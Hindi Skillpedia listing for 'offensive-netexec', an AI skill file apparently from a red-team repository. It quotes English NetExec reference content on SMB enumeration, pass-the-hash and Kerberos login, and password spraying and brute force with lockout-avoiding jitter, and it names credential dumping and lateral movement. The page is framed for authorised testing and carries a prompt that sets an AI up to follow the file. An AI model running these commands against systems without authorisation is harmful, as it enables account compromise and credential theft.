मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी10k · #11944

offensive-netexec

यह क्या करती है

यह स्किल NetExec के लिए संदर्भ है, जो Active Directory और नेटवर्क सुरक्षा परीक्षण में इस्तेमाल होने वाला टूल है। इसमें कमांड सिंटैक्स, SMB, LDAP और WinRM जैसे प्रोटोकॉल, प्रमाणीकरण विकल्प और credential निकालना शामिल है। यह अधिकृत परीक्षण चलाने वाले सुरक्षा पेशेवरों के लिए है।

कब इस्तेमाल करें

  • ✓जब आप SMB, LDAP, WinRM या दूसरे प्रोटोकॉल पर अधिकृत NetExec स्कैन चला रहे हों।
  • ✓जब आपको nxc के लिए सही कमांड सिंटैक्स और प्रमाणीकरण flags चाहिए।
  • ✓जब आप अधिकृत परीक्षण के हिस्से के रूप में password spraying या credential dumping जाँचना चाहते हों।

Skill का लिंक

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/active-directory/offensive-netexec/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/active-directory/offensive-netexec/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारे अधिकृत परीक्षण नेटवर्क पर SMB लॉगिन जाँचने और shares की सूची देखने के nxc कमांड दिखाइए।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

स्किल nxc कमांड पैटर्न, समर्थित प्रोटोकॉल की सूची, target के फ़ॉर्मेट और प्रमाणीकरण flags देती है। फिर हर प्रोटोकॉल और कार्रवाई के लिए कमांड बताती है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

NetExec (nxc) — Reference Skill

Global Syntax & Options

nxc <protocol> <target(s)> [auth options] [action options] [global options]

Available Protocols

smb ssh ldap ftp wmi winrm rdp vnc mssql nfs

Target Formats

nxc smb 192.168.1.0/24          # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28          # IP range
nxc smb dc01.corp.local         # Hostname
nxc smb ~/targets.txt           # File

Global Flags

Flag Description
-t THREADS Concurrent threads (default: 100)
--timeout TIMEOUT Per-thread timeout in seconds
--jitter INTERVAL Random delay between connections (e.g. 3, 2-5, 4-4)
--no-progress Suppress progress bar
--verbose Verbose output
--debug Debug-level output

Authentication

Core Auth Flags

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

-id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

Domain Auth (SMB example)

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

Local Auth

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

Kerberos Auth

# Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k

# Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache

# Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

Multi-Domain Environments

# users.txt format:
# DOMAIN1\user1
# DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'

Output Color Codes

  • RED — Authentication failed
  • GREEN — Authentication succeeded
  • MAGENTA — Password valid but account is not admin
  • (Pwn3d!) — Admin access / code execution available

Pwn3d! Meaning by Protocol

Protocol Pwn3d! Meaning
SMB Local/domain admin access
WMI Local admin
WinRM Code execution
RDP Code execution
VNC Code execution
LDAP Path to Domain Admin
SSH Root access
FTP No check

Password Spraying & Brute Force

# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success

# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt

# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce

# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5

# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)

# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success

⚠️ OpSec: Jitter works per-host. Spraying against multiple hosts multiplies authentication attempts. Monitor domain lockout policy before spraying (use --pass-pol first).


SMB Protocol

Network Discovery

# Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24

# Expected output:
# SMB  192.168.1.101  445  DC2016A  [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

Enumeration

# Shares and access
nxc smb <ip> -u user -p pass --shares

# Null session share enum
nxc smb <ip> -u '' -p '' --shares

# Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares

# Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt

# Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000   # Set max RID

# Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol

# Logged-on users (requires admin)
nxc smb 192.168
अक्सर पूछे जाने वाले सवाल

NetExec कौन से प्रोटोकॉल सपोर्ट करता है?

यह SMB, SSH, LDAP, FTP, WMI, WinRM, RDP, VNC, MSSQL और NFS सपोर्ट करता है।

target की सूची कैसे दूँ?

आप CIDR रेंज, IP रेंज, hostname, कई IP या targets की फ़ाइल इस्तेमाल कर सकते हैं।

क्या यह hash से लॉगिन सपोर्ट करता है?

हाँ। स्किल NT hash और पूरे NTLM hash से प्रमाणीकरण कवर करती है।

जानकारी

लेखक का मूल विवरण

Use this skill whenever the user asks about NetExec (nxc) — a network exploitation and post-exploitation tool for Active Directory environments. Triggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor questions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS protocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS, DPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection, module usage, or any pentest workflow involving Windows domain environments. This skill covers ALL protocols, ALL modules, and ALL core features of NetEx

repo: SnailSploit/Claude-Red

लोकप्रियता

GitHub स्टार
10k
रैंकिंग में स्थान
#11944
लाइसेंस
MIT
अपडेट की गई
12/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills